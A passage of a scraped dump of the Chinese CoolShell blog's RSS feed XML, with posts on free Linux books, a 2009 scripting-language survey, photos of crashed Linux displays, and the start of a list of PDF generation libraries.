+0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=336</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在上有100多本关于Linux的免费书籍，书籍涉及到多Linux编程的领域 包括 WEB开发书籍 桌面GUI开发 数据库方面的书籍 Linux安全方面 等等，还...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/336.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/336.html\">超过100本的linux免费书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在<a href=\"http://www.linuxtopia.org/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" title=\"Linuxtopia\" src=\"http://www.linuxtopia.org/images/toplogo.jpg\" alt=\"\" width=\"342\" height=\"87\" /></a>上有100多本关于Linux的免费书籍，书籍涉及到多Linux编程的领域</p>\n<p>包括</p>\n<ul>\n<li>WEB开发书籍</li>\n<li>桌面GUI开发</li>\n<li>数据库方面的书籍</li>\n<li>Linux安全方面</li>\n</ul>\n<p>等等，还有其他众多脚本语言的开发书籍。</p>\n<p>更多内容请查看：<a href=\"http://www.linuxtopia.org/online_books/index.html\">这里</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/336.html\">超过100本的linux免费书籍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/336.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-47.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 47 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=47\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Thu, 01 Jan 2015 05:20:53 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>2009年脚本语言排名</title>\n\t\t<link>https://coolshell.cn/articles/325.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/325.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 01 Apr 2009 09:25:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Ruby]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=325</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>EDC（Evan Data Corporation）发布了一份脚本语言的调查报告，这个调查报告调查了500个以上的开发者和IT专家，在这份调查表中，PHP, R...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/325.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/325.html\">2009年脚本语言排名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ease.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/extensibility.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/maintainability.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/availability.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/performance.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/quality.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/security.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"></a>EDC（Evan Data Corporation）发布了一份脚本语言的调查报告，这个调查报告调查了500个以上的开发者和IT专家，在这份调查表中，PHP, Ruby和Python成为了前三强。这个调查总共调查了这些脚本语言：Actionscript, Flex, Javascript, Microsoft F#, Microsoft Powershell, Perl, PHP, Python, Ruby, VB Script。主要评估以下这些方面：</p>\n<li>易用性。Ease of Use <a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-330\" title=\"overall\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/overall-300x185.jpg\" alt=\"overall\" width=\"300\" height=\"185\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/overall-300x185.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/04/overall-438x270.jpg 438w, https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg 707w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"></a></li>\n<li>异常处理。Exception handling</li>\n<li>扩展性。Extensibility</li>\n<li>可维护性和易读性。Maintainability / Readability</li>\n<li>跨平台。Cross-platform portability</li>\n<li>社区。Community</li>\n<li>实用性。Availability of tools</li>\n<li>质量。Quality of tools</li>\n<li>性能。Performance</li>\n<li>内存管理。Memory management</li>\n<li>客户端脚本。Client side scripting</li>\n<li>安全性。Security</li>\n<p><span id=\"more-325\"></span></p>\n<p>下面是一些关于这份调查表的图示：（关于整个报告，大家可以到这里下载：<a href=\"http://www.evansdata.com/reports/viewRelease_download.php?reportID=18\">http://www.evansdata.com/reports/viewRelease_download.php?reportID=18</a>）</p>\n<p>对于综合性的排名，报告中说到“<strong>排名向前的都是一些开源的语言，因为开源所发发展得非常快也很不错。而排名靠后的则是一些私有的，收费的语言</strong>”</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"overall\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/overall.jpg\" alt=\"overall\" width=\"707\" height=\"436\" /></a></p>\n<p> 下面是各个评估方面的排名。（我只从报告中抽取了几个方面）</p>\n<p><strong>易用性</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ease.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"ease\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/ease.jpg\" alt=\"ease\" width=\"740\" height=\"354\" /></a></p>\n<p><strong>扩展性</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/extensibility.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"extensibility\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/extensibility.jpg\" alt=\"extensibility\" width=\"832\" height=\"387\" /></a></p>\n<p> </p>\n<p><strong>可维护性/易读性</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/maintainability.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"maintainability\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/maintainability.jpg\" alt=\"maintainability\" width=\"840\" height=\"377\" /></a></p>\n<p><strong>实用性</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/availability.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"availability\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/availability.jpg\" alt=\"availability\" width=\"861\" height=\"384\" /></a></p>\n<p><strong>性能</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/performance.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"performance\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/performance.jpg\" alt=\"performance\" width=\"841\" height=\"379\" /></a></p>\n<p> </p>\n<p><strong>质量</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/quality.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"quality\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/quality.jpg\" alt=\"quality\" width=\"864\" height=\"388\" /></a></p>\n<p> </p>\n<p><strong>安全</strong></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/security.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"security\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/security.jpg\" alt=\"security\" width=\"885\" height=\"399\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" alt=\"编程语言汽车\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1839.html\" class=\"wp_rp_title\">编程语言汽车</a></li><li ><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"到处都是Unix的胎记\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1532.html\" class=\"wp_rp_title\">到处都是Unix的胎记</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"StackOverflow的404错误页\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_title\">StackOverflow的404错误页</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/325.html\">2009年脚本语言排名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/325.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux的“宕机”图片</title>\n\t\t<link>https://coolshell.cn/articles/313.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/313.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 01 Apr 2009 06:00:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=313</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是几个Linux的“宕机”的图片，原文在：http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linu...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/313.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/313.html\">Linux的“宕机”图片</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_2.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_3.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_4.jpg\"></a>下面是几个Linux的“宕机”的图片，原文在：<a href=\"http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linux_crash_top.html\">http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linux_crash_top.html</a></p>\n<p>这里，我并不想以讹传讹，因为有一些并不是真正的Crash，可能只是重启，而另一些图片根本看不清楚是否是Linux，不过，如果不是在重启，的确不应该出现这些操作系统的信息。不算怎么样，我们就姑且相信这些图片都是Linux的不是吧。Linux也会Crash这点毋庸置疑，不过，在看到这些画面的同时，同样也能让人看到Linux的应用之广泛。</p>\n<p>下面这是一个运行着Linux的PC，看上去他死的很古怪，好像是中了病毒。</p>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_1.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_1\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_1.jpg\" alt=\"linux_crash_1\" width=\"640\" height=\"480\" /></a></p>\n<p><span id=\"more-313\"></span></p>\n<p>接下来的是一飞机上的Linux，我看当然可以在下面的图片中看到左上角那个很经典的小企鹅。这架飞机是空客330。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_2\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_2.jpg\" alt=\"linux_crash_2\" width=\"640\" height=\"480\" /></a></p>\n<p> </p>\n<p>下面这个Crash的截屏可能并不是真正的Crash（似乎这个屏幕并没有完全死翘翘，只不过是收到了一个11的信号，然后整个Console就死掉了）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_3.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_3\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_3.jpg\" alt=\"linux_crash_3\" width=\"640\" height=\"480\" /></a></p>\n<p> </p>\n<p>又是一个飞机上的linux 截屏，虽然用手机拍的照片很模糊，不过，我们还是能看到那只小企鹅。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_4.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_4\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_4.jpg\" alt=\"linux_crash_4\" width=\"640\" height=\"477\" /></a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_63_2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_63_2\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_63_2.jpg\" alt=\"linux_crash_63_2\" width=\"640\" height=\"477\" /></a></p>\n<p>接下来的这个图片是火车和地铁上的显示屏，可能是linux的吧。是否Crash不确定，不过，的确没有正常工作。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_train_52_2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_train_52_2\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_train_52_2.jpg\" alt=\"linux_crash_train_52_2\" width=\"640\" height=\"477\" /></a></p>\n<p>下面是地铁上的播放显示器。（应该是播放广告和到站信息的显示屏）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_82_2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_82_2\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_82_2.jpg\" alt=\"linux_crash_82_2\" width=\"640\" height=\"424\" /></a></p>\n<p>下面是一个掌上游戏机，是否crash不可而知，不过的确不应该出现linux的启动信息。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_bonus_22_2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_bonus_22_2\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_bonus_22_2.jpg\" alt=\"linux_bonus_22_2\" width=\"640\" height=\"477\" /></a></p>\n<p>电话机，看似这个电话很强大，还有键盘。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_132_1.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_132_1\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_132_1.jpg\" alt=\"linux_crash_132_1\" width=\"640\" height=\"480\" /></a></p>\n<p>下面这个是买炸薯条的快餐店，看了一下左右的，应该是报价的显示屏吧。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_102_2.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"linux_crash_102_2\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_102_2.jpg\" alt=\"linux_crash_102_2\" width=\"640\" height=\"426\" /></a></p>\n<p>文章：<a href=\"http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linux_crash_top.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/313.html\">Linux的“宕机”图片</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/313.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>十个最好的PDF生成库</title>\n\t\t<link>https://coolshell.cn/articles/309.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/309.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 31 Mar 2009 16:00:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[PDF]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=309</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>1）FPDF http://www.fpdf.org/。这是一个纯PHP的库，它没有使用PDFlib。完全免费。没有任何license的限制。  2）iText...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/309.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/309.html\">十个最好的PDF生成库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h2>1）FPDF</h2>\n<p><a href=\"http://www.fpdf.org/\">http://www.fpdf.org/</a>。这是一个纯PHP的库，它没有使用PDFlib。完全免费。没有任何license的限制。</p>\n<p><a rel=\"nofollow\" href=\"http://www.fpdf.org/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/logo.gif\" alt=\"\" /></a></p>\n<h2><a rel=\"nofollow\" href=\"http://www.fpdf.org/\"></a> 2）iText</h2>\n<p><a href=\"http://www.lowagie.com/iText/\">http://www.lowagie.com/iText/</a>。 这是一个基于Java的库。iText#则是一个基于.NET的库。使用MPL/LGPL的license。</p>\n<p><a rel=\"nofollow\" href=\"http://www.lowagie.com/iText/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/ilogo.gif\" alt=\"\" /></a> </p>\n<p><span id=\"more-309\"></span></p>\n<h2>3）AlivePDF</h2>\n<p><a href=\"http://www.alivepdf.org/\">http://www.alivepdf.org/</a>。这是基于ActionScripts 3的PDF文件生成库。MIT license。</p>\n<p><a rel=\"nofollow\" href=\"http://www.alivepdf.org/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/alive.png\" alt=\"\" /></a> </p>\n<h2>4）Prawn</h2>\n<p><a href=\"http://prawn.majesticseacreature.com/\">http://prawn.majesticseacreature.com/</a>。这是一个Ruby的PDF文件生成的库。</p>\n<p><a rel=\"nofollow\" href=\"http://prawn.majesticseacreature.com/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.ajaxline.com/files/prawn_logo.png\" alt=\"\" width=\"146\" height=\"147\" /></a> </p>\n<h2>5） TCPDF</h2>\n<p><a href=\"http://www.tcpdf.org/\">http://www.tcpdf.org/</a>。这又是一个PHP的PDF文件生成库。LGPL license。</p>\n<p><a rel=\"nofollow\" href=\"http://www.tcpdf.org/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/tcpdf.png\" alt=\"\" /></a>  